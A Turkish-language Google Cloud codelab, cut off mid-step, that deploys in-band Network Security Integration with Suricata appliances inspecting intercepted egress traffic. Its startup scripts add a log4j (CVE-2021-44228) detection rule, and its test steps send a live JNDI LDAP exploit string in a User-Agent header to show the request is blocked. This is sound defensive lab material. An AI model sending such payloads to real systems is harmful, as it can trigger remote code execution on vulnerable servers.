1. Giriş
Ağ Güvenliği Entegrasyonu
Ağ Güvenliği Entegrasyonu (NSI), iş yükleriniz için ağ güvenliğinizi artırma konusunda esneklik sunar. Üçüncü taraf bağımsız bir yazılım satıcısının (ISV) amaca özel olarak tasarlanmış bir cihazından yararlanabilir veya yükü incelemek için derin paket inceleme (DPI) motorundan yararlanabilirsiniz. Google Cloud, bu üçüncü taraf cihazlarla sorunsuz entegrasyon sağlamak için ağ veya yönlendirme değişiklikleri yapmadan cihazları şeffaf bir şekilde dağıtmayı kolaylaştırıyor.
Google Cloud, bant dışı ve bant içi olmak üzere iki tür ağ güvenliği entegrasyonu sunar. Bu laboratuvarda, bant içi ağ güvenliği entegrasyonunu dağıtma adımları açıklanmaktadır.
Bant İçi Ağ Güvenliği Entegrasyonu
Ağ Güvenliği Entegrasyonu, paket yakalama teknolojisini kullanarak bant içi entegrasyon sağlar. Bu teknoloji, Google Cloud iş yüklerinin şeffaf bir şekilde incelenmesi için üçüncü taraf ağ cihazlarını ağ trafiği yoluna yerleştirmenize olanak tanır. Bu işlem, paketleri orijinal kaynak ve hedef IP adreslerini değiştirmeden cihaza güvenli bir şekilde taşımak için Genel Ağ Sanallaştırma Kapsülleme (GENEVE) yöntemini kullanır.
Bant içi entegrasyon, üçüncü taraf bant içi ağ cihazlarını kabloya bağlama modunda dağıtmak ve kullanmak için hizmet odaklı bir yaklaşım sunar. Hizmet üreticisi olarak, ölçeklenebilir bir üçüncü taraf ağ cihazları grubunu kesişme dağıtımı olarak yayınlayabilirsiniz. Hizmet tüketicisi olarak, trafiği ayrıntılı bir şekilde seçmek ve inceleme için yerel bir yakalama uç noktasına şeffaf bir şekilde yönlendirmek üzere Cloud Next Generation Firewall politikalarını ve kurallarını kullanabilirsiniz.

Şekil 1. Bant içi entegrasyon hizmetinin üst düzey dağıtım mimarisi
Bant içi NSI entegrasyonu hakkında daha fazla bilgi için bant içi entegrasyona genel bakış başlıklı makaleyi inceleyin.
Bant içi hizmet üretici
Üçüncü taraf cihazların dağıtıldığı ve yönetildiği yerler hizmet üreticileridir. Bu, kuruluşunuzdaki bir kullanıcı (ör. güvenlik ekibi) veya harici bir satıcı tarafından yönetilebilir. Üreticiler, üçüncü taraf cihazlar olabilen sanal makinelerini VPC ağlarındaki dahili bir geçişli ağ yük dengeleyicisinin arka uçları olarak kaydeder. Bu cihazlar, kendilerine yönlendirilen ağ trafiğini inceler. Ardından hizmet üreticiler, dahili geçişli ağ yük dengeleyicisinin iletim kuralını işaret eden alt bölgesel bir kaynak olan Intercept dağıtımlarını oluşturur.
Bir durdurma dağıtımı, üreticinin belirli bir alt bölge için denetim hizmetini temsil eden alt bölgesel bir kaynaktır. Üreticiler, sanal makinelerini dağıttıkları her bölge için yakalama dağıtımları oluşturur.
Bir yakalama dağıtım grubu, tüketicilerin üreticinin inceleme hizmetlerine bağlanmasına olanak tanıyan, proje kapsamlı genel bir kaynaktır. Üreticiler, birden fazla bölgesel önleme dağıtımını gruplandırmak için bir önleme dağıtım grubu oluşturur. Üreticiler, hangi tüketicilerin dağıtım gruplarına bağlanabileceğini kontrol etmek için IAM'yi kullanır.
Daha fazla bilgi için Intercept dağıtım gruplarına genel bakış ve Intercept dağıtımlarına genel bakış başlıklı makaleleri inceleyin.
Bant içi hizmet tüketicisi
Hizmet tüketicileri, üreticilerin sunduğu inceleme hizmetlerini kullanır. Tüketiciler, hangi VPC'lerin ve hangi üreticiden denetlenmesini istediklerini belirtir. Bunu yapmak için tüketiciler, üretici-tüketici ilişkisinin kendi taraflarını temsil eden küresel bir kaynak olan Intercept uç nokta grubu oluşturur ve Intercept uç nokta grubunu üreticinin Intercept dağıtım grubuna bağlar.
Tüketiciler, trafiğin incelenmesini istedikleri VPC'lerle yakalama uç noktası grubunu ilişkilendirmek için bir yakalama uç noktası grubu ilişkilendirmesi oluşturur. İncelenmek üzere üreticiye gönderilmesi gereken trafiği seçmek için tüketiciler ağ güvenlik duvarı politikaları oluşturur ve kullanır. Tüketiciler, kendi yakalama uç noktası grubuna referans veren bir güvenlik profili içeren bir güvenlik profili grubu oluşturur. Ardından tüketiciler, belirli ölçütlerle eşleşen trafiği üreticinin cihazlarına yönlendirmek için bir güvenlik duvarı kuralı oluşturur.
Intercept Endpoint Group(IEG) proje düzeyinde bir kaynak olsa da IEG ve IEG ilişkilendirmesinin aynı projede olması gerekmez. Bir IEG, kuruluşunuzdaki diğer projelerden bir IEG ilişkilendirmesiyle referans alınabilir. Üretici-tüketici ilişkisinde tüketicinin tarafını temsil eder. Tüketiciler, üreticinin inceleme hizmetini kullanmak için bir müdahale uç noktası grubu oluşturur. Tüketici tarafındaki her kesme uç noktası grubu, üretici tarafındaki tek bir kesme dağıtım grubuyla ilişkilendirilir.
Daha fazla bilgi için Intercept uç nokta grupları ve ilişkilendirmelerine genel bakış başlıklı makaleyi inceleyin.
Tüketiciler, trafiği yakalama uç noktası gruplarına yönlendirmek için bir güvenlik duvarı politikası kuralı oluşturmalıdır. Tüketiciler, güvenlik duvarı politikası kuralında eşleşme ölçütlerini belirleyebilir. Bu sayede, üreticinin cihazları tarafından hangi trafiğin inceleneceğini tanımlayabilirler.
Tüketiciler, trafiği incelemek için hangi yakalama uç noktası grubunun kullanılacağını belirtmek üzere özel bir yakalama güvenlik profili oluşturur.
Tüketiciler, trafiğin belirli bir alt kümesine uygulanması gereken bir güvenlik denetimi özellikleri grubu tanımlamak için güvenlik profili grubu oluşturur. Güvenlik profili grubu, tek bir özel yakalama güvenlik profili içerir.
Ne oluşturacaksınız?

Şekil 2. Bu codelab için üst düzey dağıtım mimarisi
Bu codelab'in basitliği için tek bir proje kullanacak, iki VPC ağı oluşturacak ve bir dizi ağ ile güvenlik kaynağını yöneteceksiniz. Bu laboratuvarda, şeffaf güvenlik ekleme için bant içi ağ hizmeti entegrasyonunun üçüncü taraf cihazla nasıl dağıtılacağı gösterilmektedir.
İncelenecek akışlar, 5 unsurlu (kaynak IP, hedef IP, protokol, kaynak bağlantı noktası, hedef bağlantı noktası) dahil olmak üzere Cloud Güvenlik Duvarı eşleştirme parametreleri kullanılarak seçilir. Bu laboratuvarın basitliği açısından, TCP bağlantı noktası 80'deki tüm ÇIKIŞ trafiğini inceleyeceksiniz.
Üretici, hedef bağlantı noktası 6081 olan UDP paketleri için üretici VPC alt ağ geçidi IP'sinden (10.0.0.1/32) girişe izin verir. Bu bağlantı noktası, GENEVE için iyi bilinen bir bağlantı noktasıdır.
Ağ güvenlik duvarı politikası kural tabanının son durumu aşağıdaki tabloya benzer:
Üretici Ağı Politikası:
Öncelik | Yön | Protokol | Target | Kaynak | Hedef | Hedef bağlantı noktası | İşlem |
100 | Giriş | Tümü | Tümü | Durum denetimleri | Tümü | Tümü | İzin ver |
200 | Giriş | Tümü | Tümü | IAP | Tümü | Tümü | İzin ver |
300 | Giriş | UDP | Tümü | 10.0.0.1/32 | Tümü | 6081 | İzin ver |
Tüketici Ağı Politikası:
Öncelik | Yön | Protokol | Target | Kaynak | Hedef | Hedef bağlantı noktası | İşlem |
200 | Giriş | TCP | Tümü | IAP | Tümü | 22 | İzin ver |
800 | Çıkış | TCP | Tümü | Tümü | Tümü | 80 | Intercept |
Neler öğreneceksiniz?
- Bant içi ağ güvenliği entegrasyonunu dağıtma
İhtiyacınız olanlar
- Google Cloud kuruluşu ve projesi
- Uygun IAM izinleri
- Örnekleri dağıtma ve ağ bileşenlerini yapılandırma bilgisi
- Ağ Politikası Güvenlik Duvarı yapılandırması hakkında bilgi
2. Başlamadan önce
IAM rolleri ve izinleri
Bant içi ağ güvenliği entegrasyonu (NSI) codelab'ini tamamlamak için aşağıdaki IAM rollerine ihtiyacınız vardır:
- Compute Network Admin (
roles/compute.networkAdmin): VPC ağları, alt ağlar, Cloud Router'lar, NAT ağ geçitleri ve yük dengeleyici arka uç hizmetleri oluşturmak ve yönetmek için gereklidir. - Compute Security Admin (
roles/compute.securityAdmin): Genel ağ güvenlik duvarı politikalarını ve kurallarını oluşturmak, yapılandırmak ve ilişkilendirmek için gereklidir. - Compute Instance Admin (
roles/compute.instanceAdmin.v1): Suricata cihazlarını ve tüketici testi sanal makinelerini dağıtmak, SSH üzerinden bağlanmak ve sonunda silmek için gereklidir. - Intercept Deployment Admin (
roles/networksecurity.interceptDeploymentAdmin): Üretici tarafından bölgesel intercept dağıtımlarını ve global dağıtım grubunu oluşturmak ve yönetmek için kullanılır. - Intercept Endpoint Admin (
roles/networksecurity.interceptEndpointAdmin): Tüketici tarafından, kesişme uç noktası grupları oluşturmak ve bunları VPC ağıyla ilişkilendirmek için kullanılır. - Intercept Deployment User (
roles/networksecurity.interceptDeploymentUser): Tüketicinin üreticinin dağıtım grubuna bağlanmasına izin vermek için üretici projesinde gereklidir. - Güvenlik Profili Yöneticisi (
roles/networksecurity.securityProfileAdmin): Özel müdahale güvenlik profilleri ve güvenlik profili grupları oluşturmak ve yönetmek için kuruluş düzeyinde gereklidir. - Hizmet Kullanımı Yöneticisi (
roles/serviceusage.serviceUsageAdmin): NSI özellikleri için gerekli olannetworksecurity.googleapis.comvecompute.googleapis.comAPI'lerinin etkinleştirilmesi gerekir. - Proje Görüntüleyici (
roles/viewer): Laboratuvar boyunca kullanılan ortam değişkenleri için proje yapılandırması ve kuruluşun soy bilgileri alınması gerekir.
Google Cloud API'leri
Lütfen gerekli Google Cloud API'lerinin projenizde etkinleştirildiğinden emin olun.
Gerekli API'leri etkinleştirin ve Cloud Shell'de aşağıdaki gcloud komutlarını çalıştırın.
gcloud services enable compute.googleapis.com \ networksecurity.googleapis.com \ cloudresourcemanager.googleapis.com
Değişken oluşturma/güncelleme
Bu codelab, Cloud Shell'de gcloud yapılandırmasının uygulanmasına yardımcı olmak için $variables kullanır.
Cloud Shell'de aşağıdaki komutları çalıştırın. Köşeli parantez içindeki bilgileri gerektiği şekilde değiştirin:
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zonea=[first-zone from $region] export zoneb=[second-zone from $region] export zonec=[third-zone from $region]
3. Yapımcı İşlemleri
Bu bölümde, üretici dağıtımı tarafı ele alınacaktır. Buna VPC, üçüncü taraf ağ sanal cihazı ve Ağ Güvenliği Entegrasyonu için gerekli tüm bileşenlerin dağıtılması dahildir.
VPC ve Cloud NAT bileşenleri
- VPC ve alt ağı oluşturun:
gcloud compute networks create producer-vpc --subnet-mode=custom gcloud compute networks subnets create producer-$region-subnet \ --range=10.0.0.0/24 --network=producer-vpc --region=$region
- Güvenlik duvarı kuralı kullanımına yönelik alt ağ geçidi IP'sini alın:
export gatewayip=$(gcloud compute networks subnets list --project=$project_id --network=producer-vpc --format=json | jq -r '.[0].gatewayAddress')
- Üretici VPC'si için güvenlik duvarı politikası ve kuralları oluşturun. Bu güvenlik duvarı kuralları, durum denetimleri, IAP ve NSI kaynaklı trafik için girişe izin verir:
gcloud compute network-firewall-policies create producer-fwpolicy \
--global
gcloud compute network-firewall-policies rules create 100 \
--description="allow http traffic from ilb health-check ranges" \
--action=allow \
--firewall-policy=producer-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80 \
--direction=INGRESS \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22
gcloud compute network-firewall-policies rules create 200 \
--description="allow ssh from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=producer-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--src-ip-ranges=35.235.240.0/20
gcloud compute network-firewall-policies rules create 300 \
--description="allow GENEVE UDP:6081 packets from gateway" \
--action=allow \
--firewall-policy=producer-fwpolicy \
--global-firewall-policy \
--layer4-configs=udp:6081 \
--direction=INGRESS \
--src-ip-ranges=$gatewayip
- Üretici VPC'sini ağ güvenlik duvarı politikasıyla ilişkilendirin:
gcloud compute network-firewall-policies associations create \
--firewall-policy producer-fwpolicy \
--network producer-vpc \
--name producer-fwpolicy-association \
--global-firewall-policy
- Gerekli paketleri ve güncellemeleri indirmek için üçüncü taraf ağ sanallaştırma cihazı (NVA) için Cloud Router ve Cloud NAT'i dağıtın:
gcloud compute addresses create producer-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$region-cloudnatip --format="value(address)") gcloud compute routers create producer-$region-cr \ --region=$region --network=producer-vpc gcloud compute routers nats create producer-cloudnat-$region \ --router=producer-$region-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=producer-$region-cloudnatip
Üçüncü taraf sanal makineleri
Bu laboratuvarda açık kaynaklı bir tehdit algılama hizmeti olan Suricata'yı dağıtacaksınız. Komutun, Suricata'yı yükleyip yapılandıracak bir başlangıç komut dosyası vardır. Ayrıca, GENEVE paketlerini işlemek ve bunlara yanıt vermek için Kaynak Ağı Adresi Çevirisi (SNAT) ve Hedef Ağı Adresi Çevirisi (DNAT) gerçekleştiren iptables da vardır.
- İlk bölgenizde üçüncü taraf bir NVA dağıtın.
gcloud compute instances create suricata-$zonea \
--shielded-secure-boot \
--subnet=producer-$region-subnet \
--no-address \
--private-network-ip 10.0.0.3 \
--zone $zonea \
--metadata startup-script='#! /bin/bash
sudo sysctl -w net.ipv4.ip_forward=1
apt-get update
apt-get install nginx suricata tcpdump -y
sudo suricata-update
sudo systemctl stop suricata
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
sudo iptables -I FORWARD -j NFQUEUE
sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
sudo systemctl daemon-reload
sudo systemctl stop suricata
sleep 5
sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
sleep 10
'
- İkinci bölgenizde üçüncü taraf NVA dağıtın:
gcloud compute instances create suricata-$zoneb \
--shielded-secure-boot \
--subnet=producer-$region-subnet \
--no-address \
--private-network-ip 10.0.0.4 \
--zone $zoneb \
--metadata startup-script='#! /bin/bash
sudo sysctl -w net.ipv4.ip_forward=1
apt-get update
apt-get install nginx suricata tcpdump -y
sudo suricata-update
sudo systemctl stop suricata
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
sudo iptables -I FORWARD -j NFQUEUE
sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
sudo systemctl daemon-reload
sudo systemctl stop suricata
sleep 5
sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
sleep 10
'
Üretici yük dengeleyici bileşenleri
- Üçüncü taraf NVA'nızın kullanılabilirliğini kontrol etmek için kullanılan genel bir durum denetimi oluşturun:
gcloud compute health-checks create http nva-hc
- Her bölge için bölgesel bir yönetilmeyen örnek grubu oluşturun:
gcloud compute instance-groups unmanaged create producer-$zonea-uig \ --zone $zonea gcloud compute instance-groups unmanaged create producer-$zoneb-uig \ --zone $zoneb
- Örneklerinizi örnek gruplarınıza ekleyin:
gcloud compute instance-groups unmanaged add-instances producer-$zonea-uig --instances=suricata-$zonea --zone=$zonea gcloud compute instance-groups unmanaged add-instances producer-$zoneb-uig --instances=suricata-$zoneb --zone=$zoneb
Aşağıdaki komutlarla örnek gruplarınızın örneklerinizi içerdiğini doğrulayın:
gcloud compute instance-groups unmanaged list-instances producer-$zonea-uig --zone=$zonea gcloud compute instance-groups unmanaged list-instances producer-$zoneb-uig --zone=$zoneb
Örnek çıktı:
NAME: suricata-$zonea STATUS: RUNNING NAME: suricata-$zoneb STATUS: RUNNING
- Dahili bir UDP arka uç hizmeti oluşturun:
gcloud compute backend-services create producer-bes \ --protocol=UDP \ --region=projects/$project_id/regions/$region \ --health-checks=projects/$project_id/global/healthChecks/nva-hc \ --load-balancing-scheme=INTERNAL
- Her iki örnek grubunu da arka uç hizmetine ekleyin:
gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zonea/instanceGroups/producer-$zonea-uig --region=$region gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zoneb/instanceGroups/producer-$zoneb-uig --region=$region
- İletim kurallarınız için dahili IP'ler ayırın. Her müdahale dağıtımı için benzersiz bir yönlendirme kuralı gerekir:
gcloud compute addresses create producer-fr-$zonea-ip \
--region $region --subnet producer-$region-subnet \
--addresses 10.0.0.11
gcloud compute addresses create producer-fr-$zoneb-ip \
--region $region --subnet producer-$region-subnet \
--addresses 10.0.0.12
- Her bölge için yönlendirme kuralını oluşturun. Bu, kesişme dağıtımı için benzersiz bir yönlendirme kuralı gerektiğinden zorunludur:
gcloud compute forwarding-rules create producer-fr-$zonea \ --ip-protocol=UDP --address=10.0.0.11 \ --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \ --ip-version=IPV4 \ --ports=6081 \ --load-balancing-scheme=INTERNAL \ --region=projects/$project_id/regions/$region \ --network=projects/$project_id/global/networks/producer-vpc \ --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet gcloud compute forwarding-rules create producer-fr-$zoneb \ --ip-protocol=UDP --address=10.0.0.12 \ --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \ --ip-version=IPV4 \ --ports=6081 \ --load-balancing-scheme=INTERNAL \ --region=projects/$project_id/regions/$region \ --network=projects/$project_id/global/networks/producer-vpc \ --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet
Ağ Güvenliği Entegrasyonu Bileşenleri
- Bir yakalama dağıtım grubu oluşturun:
gcloud network-security intercept-deployment-groups create producer-nsi-deployment-group \
--location global \
--no-async \
--network producer-vpc
Dağıtım grubunun başarıyla oluşturulduğunu doğrulayın:
gcloud network-security intercept-deployment-groups describe producer-nsi-deployment-group \
--location global
Örnek çıkış:
createTime: '2025-01-16T06:13:48.075183628Z' name: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group network: projects/$project_id/global/networks/producer-vpc reconciling: false state: ACTIVE updateTime: '2025-01-16T06:13:50.556947138Z'
- Her bölge için bir karşılama dağıtımı oluşturun:
gcloud network-security intercept-deployments create nsi-deployment-$zonea \
--location $zonea \
--forwarding-rule producer-fr-$zonea \
--forwarding-rule-location $region \
--no-async \
--intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
gcloud network-security intercept-deployments create nsi-deployment-$zoneb \
--location $zoneb \
--forwarding-rule producer-fr-$zoneb \
--forwarding-rule-location $region \
--no-async \
--intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
Araya girme dağıtımlarının başarıyla oluşturulduğunu doğrulayın:
gcloud network-security intercept-deployments describe nsi-deployment-$zonea \
--location $zonea
gcloud network-security intercept-deployments describe nsi-deployment-$zoneb \
--location $zoneb
Örnek çıktı:
createTime: '2025-01-16T06:27:08.834875130Z' forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group name: projects/$project_id/locations/$zonea/interceptDeployments/nsi-deployment-$zonea reconciling: false state: ACTIVE updateTime: '2025-01-16T06:34:14.401072601Z' createTime: '2025-01-16T06:33:47.798469786Z' forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr-$zoneb interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group name: projects/$project_id/locations/us-west1-b/interceptDeployments/nsi-deployment-$zoneb reconciling: false state: ACTIVE updateTime: '2025-01-16T06:34:25.258447474Z'
Tebrikler, üretici tarafı kurulumunu tamamladınız. Ardından, trafiği yakalamak ve zorunlu kılma için şeffaf bir şekilde üçüncü taraf cihazlara göndermek üzere tüketici tarafını yapılandıracaksınız.
4. Tüketici İşlemleri
Bu laboratuvarda basitlik için tek bir proje içinde ayrı VPC'ler kullanılsa da gerçek dünya ortamlarında üretici ve tüketici kaynakları farklı projelerde veya hatta farklı kuruluşlarda bulunabilir.
VPC ve Cloud NAT bileşenleri
- VPC ve alt ağı oluşturun:
gcloud compute networks create consumer-vpc --subnet-mode=custom gcloud compute networks subnets create consumer-$region-subnet \ --range=192.168.0.0/24 --network=consumer-vpc --region=$region
- Cloud Router ve Cloud NAT ağ geçidini oluşturun:
gcloud compute addresses create consumer-$region-cloudnatip \
--region=$region
export cloudnatip=$(gcloud compute addresses list \
--filter=name:consumer-$region-cloudnatip \
--format="value(address)")
gcloud compute routers create consumer-$region-cr \
--region=$region \
--network=consumer-vpc
gcloud compute routers nats create consumer-cloudnat-$region \
--router=consumer-$region-cr --router-region $region \
--nat-all-subnet-ip-ranges \
--nat-external-ip-pool=consumer-$region-cloudnatip
Uç nokta grubunu ve ilişkilendirmeyi engelleme
- Arayı Ele Geçirme Uç Noktası Grubu Oluşturma:
gcloud network-security intercept-endpoint-groups create nsi-endpoint-group \
--location global \
--no-async \
--intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
Uç noktanın başarıyla oluşturulduğunu doğrulama:
gcloud network-security intercept-endpoint-groups describe nsi-endpoint-group \
--location global
Örnek çıkış:
createTime: '2025-01-16T06:37:10.620185836Z' interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group name: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group reconciling: false state: ACTIVE updateTime: '2025-01-16T06:37:22.707994466Z'
- Tüketici VPC'sini belirten bir yakalama uç noktası grubu ilişkilendirmesi oluşturun:
gcloud network-security intercept-endpoint-group-associations create nsi-endpoint-group-assoc \
--location global \
--network consumer-vpc \
--no-async \
--intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
Doğrulama:
gcloud network-security intercept-endpoint-group-associations describe nsi-endpoint-group-assoc \
--location global
Örnek çıktı:
createTime: '2025-01-16T06:40:21.125202733Z' interceptEndpointGroup: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group locations: - location: $zonea state: ACTIVE - location: $zoneb state: ACTIVE name: projects/$project_id/locations/global/interceptEndpointGroupAssociations/nsi-endpoint-group-assoc network: projects/$project_id/global/networks/consumer-vpc reconciling: false state: ACTIVE updateTime: '2025-01-16T06:40:56.085493855Z'
Güvenlik Profili ve Güvenlik Profili Grubu
Ardından, yakalama için özel bir güvenlik profili oluşturup güvenlik profili grubuna ekleyeceksiniz. Güvenlik profili ve güvenlik profili grubu, üçüncü taraf cihazlar için paket yakalama işleminde kullanılır.
- Özel bir güvenlik profili oluşturun:
gcloud network-security security-profiles custom-intercept create nsi-intercept-profile \
--organization $org_id \
--location global \
--billing-project $project_id \
--intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
Güvenlik profilinin başarıyla oluşturulduğunu doğrulayın:
gcloud network-security security-profiles custom-intercept \ describe nsi-intercept-profile \ --organization=$org_id \ --location=global
Örnek çıktı:
{
"createTime": "2025-01-16T20:25:21.545756039Z",
"customInterceptProfile": {
"interceptEndpointGroup": "projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group"
},
"etag": "vBAcVRe70k70rNJ3stzuCAvp_JbiPD2IWqcHKKAGlzw",
"name": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile",
"type": "CUSTOM_INTERCEPT",
"updateTime": "2025-01-16T20:25:24.101764860Z"
}
- Güvenlik profili grubu oluşturma:
gcloud network-security security-profile-groups create nsi-spg \ --custom-intercept-profile=nsi-intercept-profile \ --organization=$org_id \ --project=$project_id \ --location=global
SPG'nin başarıyla oluşturulduğunu doğrulayın:
gcloud network-security security-profile-groups describe nsi-spg \
--organization $org_id \
--billing-project $project_id \
--location global
Örnek çıktı:
"createTime": "2025-01-16T20:31:23.545946850Z", "customInterceptProfile": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile", "etag": "bAE-90dCYvYfOKga4EfGXWRGuJXJpsiTEEgVsw3AmM0", "name": "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg", "updateTime": "2025-01-16T20:31:27.588870973Z"
Güvenlik Duvarı Politikası, Kurallar ve İlişkilendirme
- Global ağ güvenlik duvarı politikası oluşturma:
gcloud compute network-firewall-policies create consumer-fwpolicy \
--global
- Güvenlik duvarı kurallarını oluşturun:
gcloud compute network-firewall-policies rules create 200 \
--description="allow ssh traffic from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=consumer-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--src-ip-ranges=35.235.240.0/20
- NSI'den yararlanarak çıkış trafiğinin tamamını yakalayıp üçüncü taraf cihazımıza şeffaf bir şekilde göndermek için güvenlik duvarı kuralını oluşturun. Bu kural, inceleme için tüm TCP:80 çıkış trafiğini gönderir.
gcloud compute network-firewall-policies rules create 800 \
--action APPLY_SECURITY_PROFILE_GROUP \
--firewall-policy consumer-fwpolicy \
--security-profile-group "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg" \
--direction EGRESS \
--layer4-configs tcp:80 \
--dest-ip-ranges 0.0.0.0/0 \
--global-firewall-policy
- Bulut güvenlik duvarı politikasını VPC ağıyla ilişkilendirin:
gcloud compute network-firewall-policies associations create \
--firewall-policy consumer-fwpolicy \
--network consumer-vpc \
--name consumer-fwpolicy-association \
--global-firewall-policy
Tüketici Sanal Makineleri
- NSI'yi doğrulamak için kullanılan VM'leri dağıtın. 3 alt bölgeye 3 sanal makine dağıtırsınız. Yalnızca 2 bölgede NSI'nin etkinleştirildiğini, $zonec'de ise etkinleştirilmediğini hatırlayın.
gcloud compute instances create consumer-$zonea \ --shielded-secure-boot \ --subnet=consumer-$region-subnet \ --private-network-ip 192.168.0.3 \ --no-address \ --zone $zonea gcloud compute instances create consumer-$zoneb \ --shielded-secure-boot \ --subnet=consumer-$region-subnet \ --private-network-ip 192.168.0.4 \ --no-address \ --zone $zoneb gcloud compute instances create consumer-$zonec \ --shielded-secure-boot \ --subnet=consumer-$region-subnet \ --private-network-ip 192.168.0.5 \ --no-address \ --zone $zonec
Bant içi ağ güvenliği entegrasyonunu test etme
- $zonea (consumer-$zonea) bölgesindeki sanal makineye SSH ile bağlanın. Test trafiği gönderme:
gcloud compute ssh consumer-$zonea \ --zone $zonea
- http://www.google.com adresine test trafiği gönderin:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2
Beklenen çıktı:
200
HTTP 200 durum kodu, istemcinin isteğinin sunucu tarafından başarıyla alındığını, anlaşıldığını ve işlendiğini gösterir.
- Suricata tarafından engellenmesi gereken log4j isteklerini NSI üzerinden gönderin.
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2
Beklenen çıktı:
000
000 HTTP yanıt kodu, geçerli bir HTTP durum kodu alınmadığını belirtmek için belirli yazılımlar tarafından kullanılan resmi olmayan, standart dışı bir koddur. Bu durum, isteğin güvenlik duvarı tarafından engellendiği anlamına gelir.
- SSH oturumundan çıkarak Cloud Shell'e dönme
exit
- $zoneb (consumer-$zoneb) bölgesindeki sanal makineye SSH uygulama
gcloud compute ssh consumer-$zoneb \ --zone $zoneb
- Benzer şekilde, test trafiği gönderin:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2
Beklenen çıktı:
200
- log4j isteği gönderme:
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2
Beklenen çıktı:
000
- SSH oturumundan çıkarak Cloud Shell'e dönme
exit
- $zonec (consumer-$zonec) bölgesindeki sanal makineye SSH uygulama
